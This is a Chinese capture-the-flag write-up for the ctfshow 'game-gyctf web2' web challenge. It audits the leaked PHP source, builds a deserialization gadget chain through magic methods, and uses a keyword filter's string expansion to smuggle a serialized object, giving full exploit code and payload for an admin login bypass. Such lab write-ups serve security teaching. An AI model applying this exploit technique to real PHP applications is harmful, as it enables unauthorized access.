CTFSHOW game-gyctf web2

【2020年新春战"疫"】game-gyctf web2

参考https://www.cnblogs.com/aninock/p/15408090.html

说明:看见网上好像没多少人写,刚好玩到这道题了,就写一下吧。

一、利用入口

常规套路发现www.zip然后进行代码审计
index可以包含update,session[login]=1 ,才能获得flag但要检查session

lib.php中设置了session,似乎只有用户admin
可以看到User的验证只针对id和password
所以,只要执行表查询select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?,并且设置name=admin。满足session_id=1,session_token=admin后,session[login]就等于1了,因此必须调用info中的login。

二、构造链条

备注:解析在注释

php 复制代码
<?php

class User
{
    public $age = null;
    public $nickname = null;

    public function update()
    {
        $Info = unserialize($this->getNewinfo());
        $age = $Info->age;
        $nickname = $Info->nickname;
        $updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

    public function getNewInfo()
    {
        $age = $_POST['age'];
        $nickname = $_POST['nickname'];
        return serialize(new Info($age, $nickname));
    }

    public function __destruct()
    {
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;


    public function __call($name, $argument)
    {
        echo $this->CtrlCase->login($argument[0]);
    }
}

class UpdateHelper
{

    public $sql;

    public function __destruct()
    {
        echo $this->sql;
    }
}

class dbCtrl
{

    public $name;
    public $password;


    public function login($sql)
    {
        $this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result = $this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token == 'admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password) !== $passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token'] = $this->name;
        return $idResult;
    }
}

$users=new User();
$users->update();


#目标:调用info中的login,使其执行select 1,/"c4ca4238a0b923820dcc509a6f75849b/" from user where username=?
#$this->name = $_POST['username'];admin
#$this->password = $_POST['password'];1
#解决问题:判断以toString作为入口
$ud=new UpdateHelper();
$ud->sql=$users;#echo触发tostring

#第一步:另$age为需要执行的sql语句
$users->age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";

#第二步:调用Info中的 login
$in=new Info();
$users->nickname=$in;#toString中的update(),Info类不存在从而触发call

#第三步:需要使用的是dbctrl中的login,继续构造链条
$db=new dbCtrl();
$db->name="admin";
$db->password="1";
$in->CtrlCase=$db;

echo serialize($ud);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

三、字符逃逸(增逃逸)

要从Info的login作为入口,而login(argument[0])是第二个参数,即nickname

注意:__call若传参,则返回不存在的方法名和该方法的参数。
运行一下看看入口原来的输出
O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:11:"nickname123";s:8:"CtrlCase";N;}

如果是load换成hacker,那么就从

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"load";s:8:"CtrlCase";N;}

变成

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"hacker";s:8:"CtrlCase";N;}

我需要逃逸274个字符串,那就是说要满足方程

6x=4x+274+闭合字符串(";s:8:"CtrlCase";)(17个)+最后的大括号(1个)

2x=292

x=146

所以需要146个"load"
exp

php 复制代码
......
echo serialize($ud);
echo "\n";
echo strlen(serialize($ud));
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
echo "\n";

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
$p=new Info();
$p->age="age123";
$m=str_repeat("load",146);
$p->nickname=$m."\";s:8:\"CtrlCase\";".serialize($ud).'}';
echo($p->nickname);
echo "\n";
echo safe(serialize($p));

四、使用Payload

提示10-0就成功调用__toString()了。
在用admin/1登录既可以获得flag了。

相关推荐
Java源头9 小时前
PHP 身份证二要素检测
开发语言·php
yoyo_zzm10 小时前
PHP vs Java:后端语言终极选择指南
java·spring boot·后端·架构·php
yoyo_zzm12 小时前
五大编程语言对比:PHP、C、C++、C#、易语言
c语言·c++·php
不会摸鱼的小鱼1 天前
WSL 安装 Ubuntu 22.04 到指定磁盘
数据库·postgresql·php
淼淼爱喝水1 天前
DVWA和Pikachu命令注入漏洞检测实验
安全·web安全·php·pikachu·dvwa
专注VB编程开发20年1 天前
json和python元组,列表,字典对比
开发语言·python·json·php
怀旧,1 天前
【Linux网络编程】15. Reactor 反应堆模式
linux·网络·php
Dylan的码园1 天前
2026年免费远程控制软件哪个好?ToDesk向日葵UU远程免费版横评,不限次数不限时长
服务器·开发语言·php
dog2501 天前
解析几何的力量(1)
服务器·开发语言·网络·php
号码认证服务1 天前
如何让来电显示公司名代替陌生数字号码?企业号码认证开通指南
服务器·c语言·网络·经验分享·智能手机·云计算·php